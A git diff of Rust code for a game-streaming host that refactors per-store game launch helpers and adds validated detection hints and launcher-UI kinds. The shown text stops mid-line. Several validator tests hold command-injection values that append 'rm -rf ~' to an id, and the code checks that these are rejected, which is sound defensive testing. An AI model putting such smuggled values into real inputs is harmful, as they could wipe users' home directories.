index 7b65a518..83d602d4 100644 --- a/crates/punktfunk-host/src/library/detect.rs +++ b/crates/punktfunk-host/src/library/detect.rs @@ -19,15 +19,34 @@ use super::*; /// An environment variable a launcher stamps onto the game's process, identifying it. -#[derive(Clone, Debug, PartialEq, Eq)] +/// +/// Serializable because it is now half of the inbound [`DetectHint`] too (D3) — a library plugin +/// that knows its launcher's marker (Heroic's `HEROIC_APP_NAME`, load-bearing under Proton) has to +/// be able to say so, since after extraction the host no longer reads that launcher's files itself. +#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize, ToSchema)] pub struct EnvMarker { /// The variable name (e.g. `HEROIC_GAME_ID`). + #[schema(example = "HEROIC_APP_NAME")] pub key: String, /// The exact value to require, when the launcher's value identifies *this* title. `None` matches /// the key's mere presence — only safe for launchers that run one game at a time. + #[serde(default, skip_serializing_if = "Option::is_none")] pub value: Option, } +/// The env-var name charset a hint may carry: `[A-Za-z0-9_]{1,64}`, POSIX-shaped. An out-of-charset +/// key is not a real environment variable, so accepting one could only ever produce a matcher rule +/// that never fires (or, with an absurd length, a needless per-process comparison cost). +pub(crate) fn valid_env_key(key: &str) -> bool { + !key.is_empty() + && key.len() <= 64 + && key.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'_') +} + +/// Longest env-var VALUE a hint may pin. Values are compared against every candidate process's +/// environment, so an unbounded one is a (small) DoS lever and never a legitimate game id. +pub(crate) const MAX_ENV_VALUE: usize = 256; + /// The signals that identify a launched title's process(es). Every field is optional and /// independent; an all-`None` spec means "this title can't be tracked" (the lease degrades to /// [`crate::gamelease::LeaseKind::Untracked`] and both lifetime behaviors stay inert for it). @@ -115,6 +134,11 @@ impl DetectSpec { self.install_dir = self.install_dir.or(from.install_dir); self.exe = self.exe.or(from.exe); self.process_name = self.process_name.or(from.process_name); + // D3: the two store-derived signals are fillable from a hint now that the store may live in + // a plugin. Same rule as the other three — the host's own finding wins where it has one, + // which for a provider entry is moot (the host scanned nothing for it). + self.steam_appid = self.steam_appid.or(from.steam_appid); + self.env_marker = self.env_marker.or(from.env_marker); self } } @@ -143,12 +167,31 @@ pub struct DetectHint { /// — see [`DetectSpec::process_name`]. #[serde(default, skip_serializing_if = "Option::is_none")] pub process_name: Option, + /// The Steam appid, for a title Steam itself installed (D3). On Linux this is the **sharpest** + /// signal that exists — Steam wraps every launch, native or Proton, in + /// `reaper SteamLaunch AppId=`, whose lifetime is exactly the game's — so without it a + /// steam plugin's lease tracking would degrade from reaper-exact to install-dir prefix matching. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub steam_appid: Option, + /// A launcher-stamped environment marker (D3) — see [`EnvMarker`]. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub env_marker: Option, } impl DetectHint { /// Whether the hint says anything at all (all-empty is treated as absent). pub fn is_empty(&self) -> bool { - self.trimmed().is_none() + self.trimmed().is_none() && self.steam_appid.is_none() && self.env_marker().is_none() + } + + /// The env marker, if it is well-formed. A malformed one is dropped rather than rejected, for + /// the same reason a blank `install_dir` is: hint fields are hand-writable plugin input, and the + /// matcher must never be handed a rule it can't honour. + fn env_marker(&self) -> Option<&EnvMarker> { + self.env_marker + .as_ref() + .filter(|m| valid_env_key(&m.key)) + .filter(|m| m.value.as_ref().is_none_or(|v| v.len() <= MAX_ENV_VALUE)) } /// The hint with blank fields dropped, or `None` if nothing is left. Console text inputs and @@ -166,14 +209,13 @@ impl DetectHint { /// A provider's hint becomes a spec — the one inbound path into [`DetectSpec`]. impl From<&DetectHint> for DetectSpec { fn from(h: &DetectHint) -> Self { - let Some((install_dir, exe, process_name)) = h.trimmed() else { - return Self::default(); - }; + let (install_dir, exe, process_name) = h.trimmed().unwrap_or((None, None, None)); Self { install_dir: install_dir.map(PathBuf::from), exe: exe.map(PathBuf::from), process_name: process_name.map(str::to_string), - ..Default::default() + steam_appid: h.steam_appid, + env_marker: h.env_marker().cloned(), } } } @@ -273,6 +315,7 @@ mod tests { install_dir: Some("".into()), exe: Some(" ".into()), process_name: Some("\t".into()), + ..Default::default() }; assert!(blank.is_empty()); assert!(DetectSpec::from(&blank).is_empty(), "nothing to match on"); @@ -281,6 +324,7 @@ mod tests { install_dir: Some(" /games/quail ".into()), exe: None, process_name: Some("quail".into()), + ..Default::default() }; assert!(!hint.is_empty()); let spec = DetectSpec::from(&hint); @@ -299,6 +343,7 @@ mod tests { install_dir: Some("/games/wrong".into()), exe: Some("/games/real/run".into()), process_name: None, + ..Default::default() }; let merged = found.or_hint(&hint); assert_eq!( @@ -317,6 +362,74 @@ mod tests { .is_empty()); } + /// D3: the two store-derived signals now ride the hint, because after extraction the host no + /// longer reads Steam's or Heroic's files itself. Without them a plugin's lease tracking would + /// silently degrade — reaper-exact to dir-prefix on Linux Steam, and gone entirely for Heroic + /// under Proton, where the env marker is the only thing that works. + #[test] + fn a_hint_can_carry_the_store_derived_signals() { + let hint = DetectHint { + steam_appid: Some(440), + env_marker: Some(EnvMarker { + key: "HEROIC_APP_NAME".into(), + value: Some("Quail".into()), + }), + ..Default::default() + }; + assert!(!hint.is_empty(), "either field alone is a real hint"); + let spec = DetectSpec::from(&hint); + assert_eq!(spec.steam_appid, Some(440)); + assert_eq!(spec.env_marker.as_ref().unwrap().key, "HEROIC_APP_NAME"); + + // A steam_appid on its own is enough to be trackable. + let only_appid = DetectHint { + steam_appid: Some(620), + ..Default::default() + }; + assert!(!only_appid.is_empty()); + assert!(!DetectSpec::from(&only_appid).is_empty()); + + // The host's own finding still wins where it has one (unchanged rule). + let found = DetectSpec::steam(70); + assert_eq!(found.or_hint(&hint).steam_appid, Some(70)); + // …but a field the host had nothing for is filled in. + assert_eq!( + DetectSpec::dir("/games/x") + .or_hint(&hint) + .env_marker + .unwrap() + .key, + "HEROIC_APP_NAME" + ); + } + + /// A malformed marker is DROPPED, not honoured — same posture as a blank `install_dir`. The + /// matcher must never be handed a rule it cannot evaluate, and these values reach a code path + /// that can end processes. + #[test] + fn a_malformed_env_marker_says_nothing() { + let bad = |key: &str, value: Option| DetectHint { + env_marker: Some(EnvMarker { + key: key.into(), + value, + }), + ..Default::default() + }; + assert!(bad("", None).is_empty()); + assert!(bad("HAS-DASH", None).is_empty(), "not a POSIX env name"); + assert!(bad("HAS SPACE", None).is_empty()); + assert!(bad(&"K".repeat(65), None).is_empty(), "over the key cap"); + assert!( + bad("K", Some("v".repeat(MAX_ENV_VALUE + 1))).is_empty(), + "over the value cap" + ); + // …and a well-formed one at exactly the caps is kept. + assert!(!bad(&"K".repeat(64), Some("v".repeat(MAX_ENV_VALUE))).is_empty()); + assert!(DetectSpec::from(&bad("HAS-DASH", None)) + .env_marker + .is_none()); + } + #[test] fn first_token_handles_quotes_and_spaces() { assert_eq!( diff --git a/crates/punktfunk-host/src/library/epic.rs b/crates/punktfunk-host/src/library/epic.rs index 02fef950..07e72545 100644 --- a/crates/punktfunk-host/src/library/epic.rs +++ b/crates/punktfunk-host/src/library/epic.rs @@ -100,6 +100,7 @@ fn epic_entry( }; Some(GameEntry { provider: None, + role: GameRole::Game, meta: GameMeta::pc(), id: format!("epic:{app_name}"), store: "epic".into(), @@ -186,25 +187,8 @@ fn epic_art_index(catcache: &Path) -> std::collections::HashMap map } -/// Build the `com.epicgames.launcher://` launch URI from a stored launch value — the triple -/// `::` (colons URL-encoded), or a bare `` fallback. -/// Each part is charset-validated (host-derived, but belt-and-suspenders) so no shell/URI injection. -#[cfg(windows)] -pub(crate) fn epic_launch_uri(value: &str) -> Option { - let ok = |s: &str| { - !s.is_empty() - && s.bytes() - .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) - }; - let inner = match value.split(':').collect::>().as_slice() { - [ns, cat, app] if ok(ns) && ok(cat) && ok(app) => format!("{ns}%3A{cat}%3A{app}"), - [app] if ok(app) => (*app).to_string(), - _ => return None, - }; - Some(format!( - "com.epicgames.launcher://apps/{inner}?action=launch&silent=true" - )) -} +// The `epic` launch mapping (`epic_launch_uri`) lives in `launch.rs` (WP1.1) — this module +// enumerates, it does not launch. #[cfg(test)] mod tests { @@ -236,19 +220,4 @@ mod tests { assert!(epic_entry(&gone, &empty).is_none()); std::fs::remove_dir_all(&dir).ok(); } - - #[cfg(windows)] - #[test] - fn epic_launch_uri_triple_bare_and_guard() { - assert_eq!( - epic_launch_uri("fn:abc:Fortnite").as_deref(), - Some("com.epicgames.launcher://apps/fn%3Aabc%3AFortnite?action=launch&silent=true") - ); - assert_eq!( - epic_launch_uri("Fortnite").as_deref(), - Some("com.epicgames.launcher://apps/Fortnite?action=launch&silent=true") - ); - assert!(epic_launch_uri("bad part:x:y").is_none()); // a space → rejected - assert!(epic_launch_uri("").is_none()); - } } diff --git a/crates/punktfunk-host/src/library/gog.rs b/crates/punktfunk-host/src/library/gog.rs index 419ed7d9..f7cc373f 100644 --- a/crates/punktfunk-host/src/library/gog.rs +++ b/crates/punktfunk-host/src/library/gog.rs @@ -57,6 +57,7 @@ fn gog_games() -> Vec { let detect = DetectSpec::exe(&exe).with_dir(&path); out.push(GameEntry { provider: None, + role: GameRole::Game, meta: GameMeta::pc(), id, store: "gog".into(), @@ -133,38 +134,13 @@ fn gog_play_task(install: &str, id: &str) -> Option<(String, String, String)> { )) } -/// Build the spawn `(command line, working dir)` for a `gog` launch value (`exe \t args \t workdir`, -/// all host-resolved from the operator's own disk). Direct exe — no shell, no Galaxy. -#[cfg(windows)] -pub(crate) fn gog_spawn(value: &str) -> Option<(String, Option)> { - let mut parts = value.split('\t'); - let exe = parts.next().filter(|s| !s.is_empty())?; - let args = parts.next().unwrap_or(""); - let workdir = parts.next().filter(|s| !s.is_empty()).map(PathBuf::from); - let cmdline = if args.trim().is_empty() { - format!("\"{exe}\"") - } else { - format!("\"{exe}\" {args}") - }; - Some((cmdline, workdir)) -} +// The `gog` launch mapping (`gog_spawn`) lives in `launch.rs` (WP1.1) — this module enumerates and +// resolves the spawn triple off disk, but turning that triple into a command line is launch-side. #[cfg(test)] mod tests { use super::*; - #[cfg(windows)] - #[test] - fn gog_spawn_parses_and_guards() { - let (cmd, wd) = gog_spawn("C:\\Games\\W3\\witcher3.exe\t--skip\tC:\\Games\\W3").unwrap(); - assert_eq!(cmd, "\"C:\\Games\\W3\\witcher3.exe\" --skip"); - assert_eq!(wd, Some(std::path::PathBuf::from("C:\\Games\\W3"))); - let (cmd2, wd2) = gog_spawn("C:\\g.exe").unwrap(); - assert_eq!(cmd2, "\"C:\\g.exe\""); - assert!(wd2.is_none()); - assert!(gog_spawn("").is_none()); - } - #[cfg(windows)] #[test] fn gog_play_task_picks_primary_filetask() { diff --git a/crates/punktfunk-host/src/library/heroic.rs b/crates/punktfunk-host/src/library/heroic.rs index bc4f92a7..d7badd03 100644 --- a/crates/punktfunk-host/src/library/heroic.rs +++ b/crates/punktfunk-host/src/library/heroic.rs @@ -109,6 +109,7 @@ fn heroic_games(path: &Path, runner: &str, key: &str) -> anyhow::Result anyhow::Result:`) to the Heroic launch command, run nested in -/// gamescope. The host owns this mapping; the client only ever sends the id. CAVEAT: Heroic is a -/// single-instance Electron app — in a fresh per-session gamescope it boots, launches the game (which -/// renders into that gamescope) and stays hidden via `--no-gui`; but if a Heroic GUI is ALREADY -/// running on the box, the spawned process forwards the URI and exits, which would tear the session -/// down. The validated path is the fresh-session case; needs live confirmation on a box with Heroic. -#[cfg(target_os = "linux")] -pub(crate) fn heroic_command(value: &str) -> Option { - let (runner, app) = value.split_once(':')?; - if !matches!(runner, "legendary" | "gog" | "nile") { - return None; - } - // appName charset (Epic alnum, GOG digits, Amazon alnum) — keep the URI a single safe token. - if app.is_empty() - || !app - .bytes() - .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) - { - return None; - } - let prefix = heroic_launch_prefix()?; - // No quotes: gamescope spawns the app by `split_whitespace()`, and the URI has no spaces (appName - // is validated above) so it stays a single argv token; `&` is fine (exec'd, not shell-parsed). - Some(format!( - "{prefix} --no-gui heroic://launch?appName={app}&runner={runner}" - )) -} - -/// How to invoke Heroic: the native `heroic` binary if on `PATH`, else the Flatpak app if its data -/// root is present. `None` ⇒ Heroic not found, so no launch command. -#[cfg(target_os = "linux")] -fn heroic_launch_prefix() -> Option { - let on_path = std::env::var_os("PATH") - .is_some_and(|paths| std::env::split_paths(&paths).any(|d| d.join("heroic").is_file())); - if on_path { - return Some("heroic".into()); - } - let flatpak = std::env::var_os("HOME") - .map(PathBuf::from) - .is_some_and(|h| h.join(".var/app/com.heroicgameslauncher.hgl").is_dir()); - flatpak.then(|| "flatpak run com.heroicgameslauncher.hgl".into()) -} +// The `heroic` launch mapping (`heroic_command` + its launcher-prefix probe) lives in `launch.rs` +// (WP1.1) — this module enumerates, it does not launch. #[cfg(test)] mod tests { diff --git a/crates/punktfunk-host/src/library/launch.rs b/crates/punktfunk-host/src/library/launch.rs index d289bdf0..9e3e053f 100644 --- a/crates/punktfunk-host/src/library/launch.rs +++ b/crates/punktfunk-host/src/library/launch.rs @@ -1,12 +1,14 @@ //! Title launch: resolve a library id / raw command into an executable command line (per-store + //! per-OS), and the gamescope-session launch helpers. Split out of the `library` facade (plan §W5). +//! +//! This module owns the **whole launch side** of the library: the `kind` vocabulary, its per-kind +//! charset validators, and the per-OS resolvers. That split is deliberate and load-bearing — the +//! scanner modules beside it do *enumeration only*, so they can be lifted out into library plugins +//! without taking any launch logic with them (design/library-scanner-plugins.md D1: a client sends +//! only an entry id and the host resolves the [`LaunchSpec`] it holds, which stays true whether the +//! entry was enumerated in-process or reconciled in by a plugin). -use super::custom::valid_steam_appid; -#[cfg(target_os = "linux")] -use super::heroic::heroic_command; use super::*; -#[cfg(windows)] -use super::{epic::epic_launch_uri, gog::gog_spawn}; /// Everything a session needs about the title it is launching, resolved in **one** library scan: /// what to run, what to call it, and how to recognize it once it is running. @@ -84,6 +86,25 @@ fn command_for(spec: &LaunchSpec) -> Option { // Heroic: `:` → the validated heroic://launch command (see heroic_command). #[cfg(target_os = "linux")] "heroic" => heroic_command(&spec.value), + // A launcher entry (D4): open the Steam client itself, in Big Picture or on the desktop. + // Nested in gamescope this is the SteamOS game-mode shape. + "steam_ui" => match spec.value.as_str() { + "bigpicture" => Some("steam -gamepadui".into()), + "desktop" => Some("steam".into()), + _ => None, + }, + // The other launchers' own UIs (D4). The host builds the command — a plugin only names + // which launcher — so no shell string ever crosses the wire. + #[cfg(target_os = "linux")] + "launcher_ui" => match spec.value.as_str() { + // The same resolution the `heroic` game launches use (native binary, else Flatpak), just + // without `--no-gui` and without a URI: that opens Heroic's window, which IS the tile. + "heroic" => heroic_launch_prefix(), + // Bare `lutris` opens the Lutris window; with a `lutris:rungameid/…` URI it launches a + // game instead (the `lutris_id` kind above). + "lutris" => Some("lutris".into()), + _ => None, + }, // Trusted: the command comes from the host's own custom store, never the client. "command" => (!spec.value.trim().is_empty()).then(|| spec.value.clone()), _ => None, @@ -138,6 +159,21 @@ fn windows_launch_for(spec: &LaunchSpec) -> Option<(String, Option { + let uri = match spec.value.as_str() { + "bigpicture" => "steam://open/bigpicture", + "desktop" => "steam://open/main", + _ => return None, + }; + let cmdline = match steam_exe() { + Some(exe) => format!("\"{}\" \"{uri}\"", exe.display()), + None => format!("explorer.exe \"{uri}\""), + }; + Some((cmdline, None)) + } // Epic: open the (host-built, validated) com.epicgames.launcher:// URI via explorer.exe — a // concrete EXE that resolves the registered protocol handler as the user; the URI is a single // argv element (no shell, no cmd /c). Same pattern as the steam explorer fallback. @@ -191,6 +227,152 @@ fn steam_exe() -> Option { None } +// ------------------------------------------------------- per-kind launch values (host-owned ABI) +// +// Each helper below turns a store's launch VALUE — the only part a scanner (or, after extraction, a +// library plugin) supplies — into the URI/command line the host actually runs. They live here rather +// than beside the enumeration that produces the value because the host keeps owning URI construction +// and spawning no matter where the enumeration came from (D1). Every one of them is total and +// validating: an unparseable or hostile value yields `None`, never a partially-interpolated command. + +/// A digits-only Steam appid: the sole client-influenced part of a Steam launch, validated before it +/// is interpolated into any command / URI (so a client-sent id can never carry shell or URI syntax). +/// Cross-platform — used by the Linux shell mapping ([`command_for`]) and the Windows spawn mapping +/// ([`windows_launch_for`]). +/// +/// Also accepts the 64-bit non-Steam-shortcut game id ([`shortcut_gameid`]), which is likewise +/// digits — the two share the `steam_appid` kind precisely because `rungameid` takes either. +pub(crate) fn valid_steam_appid(value: &str) -> bool { + !value.is_empty() && value.bytes().all(|b| b.is_ascii_digit()) +} + +/// The 64-bit game id `steam://rungameid/` needs to launch a non-Steam shortcut: high dword = the +/// 32-bit shortcut appid, low dword = the shortcut marker `0x0200_0000`. (Handing `rungameid` the +/// bare 32-bit appid does not launch a shortcut — it must be this composed id.) +pub(crate) fn shortcut_gameid(appid: u32) -> u64 { + ((appid as u64) << 32) | 0x0200_0000 +} + +/// The `steam_ui` launch values (D4) — which Steam UI a launcher entry opens. A closed two-value +/// enum, validated on the way IN (the reconcile payload) as well as on the way out, so an entry can +/// never carry a third value that silently resolves to nothing at launch time. +pub(crate) fn valid_steam_ui(value: &str) -> bool { + matches!(value, "bigpicture" | "desktop") +} + +/// The launcher UIs **this host** can open, as `launcher_ui` values (D4). +/// +/// One kind for every launcher but Steam, rather than one kind each: they all have exactly a single +/// UI to open, so the value is just which launcher. Steam keeps its own [`valid_steam_ui`] kind +/// because it has two (Big Picture and the desktop client), which is a genuinely different choice. +/// +/// Platform-gated, because a value naming a launcher this OS cannot run is not a tile that merely +/// looks odd — it is one that fails at launch. Validated inbound too, so a plugin gets a 400 it can +/// act on instead of publishing a dead entry. +/// +/// **Why a typed kind at all**, when design D4 originally said non-Steam launchers would ride the +/// `command` kind: the 2026-08-05 review made `launch.kind = "command"` operator-only (it is handed +/// to a shell), so a plugin publishing one is refused. A typed kind keeps D1's rule intact — the +/// plugin supplies a validated *value*, the host builds the command — and is the only way a scanner +/// plugin can offer a launcher tile at all. +fn launcher_ui_stores() -> &'static [&'static str] { + #[cfg(target_os = "linux")] + { + &["heroic", "lutris"] + } + // Windows launchers (Epic, GOG Galaxy, the Xbox app) are not wired yet — each needs its own + // verified activation, and an unverified guess would ship a tile that does nothing. + #[cfg(not(target_os = "linux"))] + { + &[] + } +} + +/// Is this a `launcher_ui` value this host can resolve? +pub(crate) fn valid_launcher_ui(value: &str) -> bool { + launcher_ui_stores().contains(&value) +} + +/// Map a `heroic` LaunchSpec value (`:`) to the Heroic launch command, run nested in +/// gamescope. The host owns this mapping; the client only ever sends the id. CAVEAT: Heroic is a +/// single-instance Electron app — in a fresh per-session gamescope it boots, launches the game (which +/// renders into that gamescope) and stays hidden via `--no-gui`; but if a Heroic GUI is ALREADY +/// running on the box, the spawned process forwards the URI and exits, which would tear the session +/// down. The validated path is the fresh-session case; needs live confirmation on a box with Heroic. +#[cfg(target_os = "linux")] +pub(crate) fn heroic_command(value: &str) -> Option { + let (runner, app) = value.split_once(':')?; + if !matches!(runner, "legendary" | "gog" | "nile") { + return None; + } + // appName charset (Epic alnum, GOG digits, Amazon alnum) — keep the URI a single safe token. + if app.is_empty() + || !app + .bytes() + .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) + { + return None; + } + let prefix = heroic_launch_prefix()?; + // No quotes: gamescope spawns the app by `split_whitespace()`, and the URI has no spaces (appName + // is validated above) so it stays a single argv token; `&` is fine (exec'd, not shell-parsed). + Some(format!( + "{prefix} --no-gui heroic://launch?appName={app}&runner={runner}" + )) +} + +/// How to invoke Heroic: the native `heroic` binary if on `PATH`, else the Flatpak app if its data +/// root is present. `None` ⇒ Heroic not found, so no launch command. +#[cfg(target_os = "linux")] +fn heroic_launch_prefix() -> Option { + let on_path = std::env::var_os("PATH") + .is_some_and(|paths| std::env::split_paths(&paths).any(|d| d.join("heroic").is_file())); + if on_path { + return Some("heroic".into()); + } + let flatpak = std::env::var_os("HOME") + .map(PathBuf::from) + .is_some_and(|h| h.join(".var/app/com.heroicgameslauncher.hgl").is_dir()); + flatpak.then(|| "flatpak run com.heroicgameslauncher.hgl".into()) +} + +/// Map an `epic` LaunchSpec value to the Epic Games Launcher URI. The value is either the full +/// `::` triple (what the manifests carry) or a bare `appName`; +/// every part is charset-checked so the URI stays one safe argv token. +#[cfg(windows)] +pub(crate) fn epic_launch_uri(value: &str) -> Option { + let ok = |s: &str| { + !s.is_empty() + && s.bytes() + .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) + }; + let inner = match value.split(':').collect::>().as_slice() { + [ns, cat, app] if ok(ns) && ok(cat) && ok(app) => format!("{ns}%3A{cat}%3A{app}"), + [app] if ok(app) => (*app).to_string(), + _ => return None, + }; + Some(format!( + "com.epicgames.launcher://apps/{inner}?action=launch&silent=true" + )) +} + +/// Map a `gog` LaunchSpec value — the tab-separated `exe \t args \t workdir` spawn triple the scanner +/// derived from `goggame-.info` — to a `(command line, working dir)`. GOG games are spawned +/// directly (no Galaxy), so the exe is quoted and the arguments ride verbatim. +#[cfg(windows)] +pub(crate) fn gog_spawn(value: &str) -> Option<(String, Option)> { + let mut parts = value.split('\t'); + let exe = parts.next().filter(|s| !s.is_empty())?; + let args = parts.next().unwrap_or(""); + let workdir = parts.next().filter(|s| !s.is_empty()).map(PathBuf::from); + let cmdline = if args.trim().is_empty() { + format!("\"{exe}\"") + } else { + format!("\"{exe}\" {args}") + }; + Some((cmdline, workdir)) +} + /// Launch a GameStream `apps.json` command (operator-typed, trusted — never client-set) into the /// interactive Windows user session, AFTER capture is up (the host is SYSTEM). The Linux paths go /// through the compositor-aware [`launch_session_command`] instead. @@ -360,6 +542,145 @@ mod tests { } } + /// The `steam_ui` launcher kind (D4): a closed two-value enum, mapped to the Steam client's own + /// UI on each OS. Nothing from the entry is interpolated — the value only SELECTS between two + /// host-owned literals — so there is no injection surface at all here. + #[test] + fn steam_ui_is_a_closed_two_value_enum() { + assert!(valid_steam_ui("bigpicture")); + assert!(valid_steam_ui("desktop")); + assert!(!valid_steam_ui("gamepadui")); + assert!(!valid_steam_ui("")); + assert!(!valid_steam_ui("bigpicture; rm -rf ~")); + } + + /// The `launcher_ui` kind exists because D4's original plan — non-Steam launchers riding the + /// `command` kind — stopped being available to plugins when the 2026-08-05 review made + /// `command` operator-only. A plugin names a launcher; the host builds the command. + #[test] + fn launcher_ui_accepts_only_launchers_this_host_can_open() { + #[cfg(target_os = "linux")] + { + assert!(valid_launcher_ui("heroic")); + assert!(valid_launcher_ui("lutris")); + // Not wired on this OS — refused inbound rather than becoming a tile that does nothing. + assert!(!valid_launcher_ui("gog")); + } + #[cfg(not(target_os = "linux"))] + { + // No Windows/macOS launcher UIs are wired yet, so every value is refused. + assert!(!valid_launcher_ui("heroic")); + assert!(!valid_launcher_ui("gog")); + } + assert!(!valid_launcher_ui("")); + assert!(!valid_launcher_ui("lutris; rm -rf ~")); + } + + #[cfg(target_os = "linux")] + #[test] + fn launcher_ui_opens_the_launcher_itself() { + let ui = |v: &str| { + command_for(&LaunchSpec { + kind: "launcher_ui".into(), + value: v.into(), + }) + }; + // Bare `lutris` opens the window; the URI form is the `lutris_id` kind and launches a game. + assert_eq!(ui("lutris").as_deref(), Some("lutris")); + assert!(!ui("lutris").unwrap().contains("rungameid")); + // Heroic resolves the same way its game launches do, but with no `--no-gui` and no URI — so + // the window IS what opens. `None` on a box without Heroic, which is a correct answer. + if let Some(cmd) = ui("heroic") { + assert!(!cmd.contains("--no-gui"), "the GUI is the point: {cmd:?}"); + assert!(!cmd.contains("heroic://"), "no game URI: {cmd:?}"); + } + assert_eq!(ui("nonsense"), None); + assert_eq!(ui(""), None); + } + + #[cfg(not(windows))] + #[test] + fn steam_ui_resolves_to_the_client_ui_on_linux() { + let ui = |v: &str| { + command_for(&LaunchSpec { + kind: "steam_ui".into(), + value: v.into(), + }) + }; + // Big Picture is the SteamOS game-mode shape; nested in gamescope this is what `--steam` + // integration is built around. + assert_eq!(ui("bigpicture").as_deref(), Some("steam -gamepadui")); + assert_eq!(ui("desktop").as_deref(), Some("steam")); + assert_eq!(ui("nonsense"), None); + assert_eq!(ui(""), None); + } + + #[cfg(windows)] + #[test] + fn steam_ui_resolves_to_the_client_ui_on_windows() { + let ui = |v: &str| { + windows_launch_for(&LaunchSpec { + kind: "steam_ui".into(), + value: v.into(), + }) + }; + let (bp, wd) = ui("bigpicture").expect("bigpicture recipe"); + assert!(bp.contains("steam://open/bigpicture"), "line was {bp:?}"); + assert!(wd.is_none()); + let (desk, _) = ui("desktop").expect("desktop recipe"); + assert!(desk.contains("steam://open/main"), "line was {desk:?}"); + assert!(ui("nonsense").is_none()); + assert!(ui("").is_none()); + } + + #[test] + fn steam_appid_validation_accepts_appids_and_shortcut_gameids() { + assert!(valid_steam_appid("570")); + // The 64-bit shortcut game id shares the `steam_appid` kind — `rungameid` takes either. + assert!(valid_steam_appid( + &shortcut_gameid(2_456_789_012).to_string() + )); + assert!(!valid_steam_appid("")); + assert!(!valid_steam_appid("570; rm -rf ~")); + assert!(!valid_steam_appid("-1")); + } + + /// Moved here with `shortcut_gameid` (WP1.1): the composed id is launch vocabulary, not + /// enumeration — the scanner only supplies the 32-bit appid it read out of `shortcuts.vdf`. + #[test] + fn shortcut_gameid_composes_appid_and_marker() { + let id = shortcut_gameid(0x8000_0000); + assert_eq!(id >> 32, 0x8000_0000, "high dword is the shortcut appid"); + assert_eq!(id & 0xFFFF_FFFF, 0x0200_0000, "low dword is the marker"); + } + + #[cfg(windows)] + #[test] + fn epic_launch_uri_triple_bare_and_guard() { + assert_eq!( + epic_launch_uri("fn:abc:Fortnite").as_deref(), + Some("com.epicgames.launcher://apps/fn%3Aabc%3AFortnite?action=launch&silent=true") + ); + assert_eq!( + epic_launch_uri("Fortnite").as_deref(), + Some("com.epicgames.launcher://apps/Fortnite?action=launch&silent=true") + ); + assert!(epic_launch_uri("bad part:x:y").is_none()); // a space → rejected + assert!(epic_launch_uri("").is_none()); + } + + #[cfg(windows)] + #[test] + fn gog_spawn_parses_and_guards() { + let (cmd, wd) = gog_spawn("C:\\Games\\W3\\witcher3.exe\t--skip\tC:\\Games\\W3").unwrap(); + assert_eq!(cmd, "\"C:\\Games\\W3\\witcher3.exe\" --skip"); + assert_eq!(wd, Some(std::path::PathBuf::from("C:\\Games\\W3"))); + let (cmd2, wd2) = gog_spawn("C:\\g.exe").unwrap(); + assert_eq!(cmd2, "\"C:\\g.exe\""); + assert!(wd2.is_none()); + assert!(gog_spawn("").is_none()); + } + #[cfg(windows)] #[test] fn windows_launch_for_maps_and_guards() { diff --git a/crates/punktfunk-host/src/library/lutris.rs b/crates/punktfunk-host/src/library/lutris.rs index 571aa5e2..3937ccd5 100644 --- a/crates/punktfunk-host/src/library/lutris.rs +++ b/crates/punktfunk-host/src/library/lutris.rs @@ -84,6 +84,7 @@ fn lutris_games(db: &Path) -> rusqlite::Result> { for (id, slug, name, directory) in rows.flatten() { games.push(GameEntry { provider: None, + role: GameRole::Game, meta: GameMeta::pc(), id: format!("lutris:{id}"), store: "lutris".into(), diff --git a/crates/punktfunk-host/src/library/scanners.rs b/crates/punktfunk-host/src/library/scanners.rs index 3279ebe4..0e969860 100644 --- a/crates/punktfunk-host/src/library/scanners.rs +++ b/crates/punktfunk-host/src/library/scanners.rs @@ -12,19 +12,41 @@ use super::*; -/// One installed-store scanner this host build supports, with its enable state — the unit the -/// console renders a toggle for. The list is platform-gated at compile time (the scanners are), -/// so the console never shows a toggle that cannot do anything on this host. +/// One **game source** on this host, with its enable state — the unit the console renders a toggle +/// for. A source is either a scanner compiled into this build or a plugin that reconciles entries in +/// (WP2.6); the console treats them identically, which is what makes the extraction invisible. #[derive(Clone, Debug, Serialize, ToSchema)] pub struct ScannerInfo { - /// Stable scanner id — the same string the scanner's entries carry in their `store` field. + /// Stable source id — the same string this source's entries carry in their `store` field. For a + /// plugin source it is also its provider id and its store claim: one string, by construction, so + /// a user's disabled state survives a built-in scanner being replaced by its plugin. #[schema(example = "steam")] pub id: String, /// Human-facing name for the console toggle. #[schema(example = "Steam")] pub label: String, - /// Whether this host runs the scanner (default true). + /// Whether this host runs the source (default true). pub enabled: bool, + /// Where the source comes from: `builtin` (a scanner in this host build) or `plugin`. + #[schema(example = "builtin")] + pub origin: SourceOrigin, + /// The provider id backing a `plugin` source — absent for a built-in scanner. + #[serde(skip_serializing_if = "Option::is_none")] + pub provider: Option, + /// How many entries this source currently contributes. `None` for a built-in scanner, whose + /// count would mean walking every launcher's files just to render a toggle. + #[serde(skip_serializing_if = "Option::is_none")] + pub entries: Option, +} + +/// Where a [`ScannerInfo`] comes from. +#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, ToSchema)] +#[serde(rename_all = "lowercase")] +pub enum SourceOrigin { + /// A scanner compiled into this host build. + Builtin, + /// A plugin reconciling entries over the provider API. + Plugin, } /// The scanners compiled into THIS host build: (id, label). Steam is cross-platform; the rest are @@ -87,26 +109,93 @@ pub(crate) fn disabled_scanners() -> HashSet { load_settings().disabled.into_iter().collect() } -/// The scanners available on this platform with their current enable state, in the fixed -/// definition order (stable for the console). +/// Every game source on this host with its current enable state (WP2.6): +/// +/// 1. the built-in scanners this build compiled in, **minus** any whose store a plugin has claimed +/// (the plugin replaces it, so showing both would offer two toggles for one thing); +/// 2. the claimed stores themselves, as plugin sources; +/// 3. any other provider that has entries — the *emergent* case (rom-manager, playnite), which has +/// never had a toggle before and gets one for free here. +/// +/// Built-ins keep their fixed definition order (stable for the console); plugin sources follow, +/// sorted by id. pub fn list_scanners() -> Vec { let off = disabled_scanners(); - scanner_defs() + let claims = crate::library::claimed_stores(); + let entries = crate::library::load_custom(); + + let mut out: Vec = scanner_defs() .into_iter() + .filter(|(id, 